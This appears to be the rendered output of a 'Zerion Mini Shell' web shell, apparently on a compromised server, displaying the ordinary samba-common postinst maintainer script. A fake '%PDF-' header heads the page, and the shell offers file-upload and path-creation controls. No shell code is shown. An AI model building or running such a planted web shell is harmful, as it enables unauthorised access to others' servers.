%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/lib/dpkg/info/
Upload File :
Create Path :
Current File : /var/lib/dpkg/info/samba-common.postinst

#!/bin/sh
set -e

CONFIG=/etc/samba/smb.conf

if [ "$1" = configure ]; then
    if ! dpkg-statoverride --list /var/log/samba >/dev/null; then
        # Set some reasonable default perms for the samba logdir
        # to hide sensitive information
        chmod 0750 /var/log/samba
        chown root:adm /var/log/samba
    fi

    ucf --three-way --debconf-ok /usr/share/samba/smb.conf "$CONFIG"

    if [ ! -e "$CONFIG" ]; then
       echo "Install/upgrade will fail. To recover, please try:"
       echo " sudo cp /usr/share/samba/smb.conf $CONFIG"
       echo " sudo dpkg --configure -a"
    else
       ucfr samba-common "$CONFIG"
       chmod a+r "$CONFIG"
    fi

fi

# Automatically added by dh_installdeb/13.14.1ubuntu5
dpkg-maintscript-helper rm_conffile /etc/dhcp/dhclient-enter-hooks.d/samba 2:4.19.2\+dfsg-2\~ -- "$@"
# End automatically added section


Zerion Mini Shell 1.0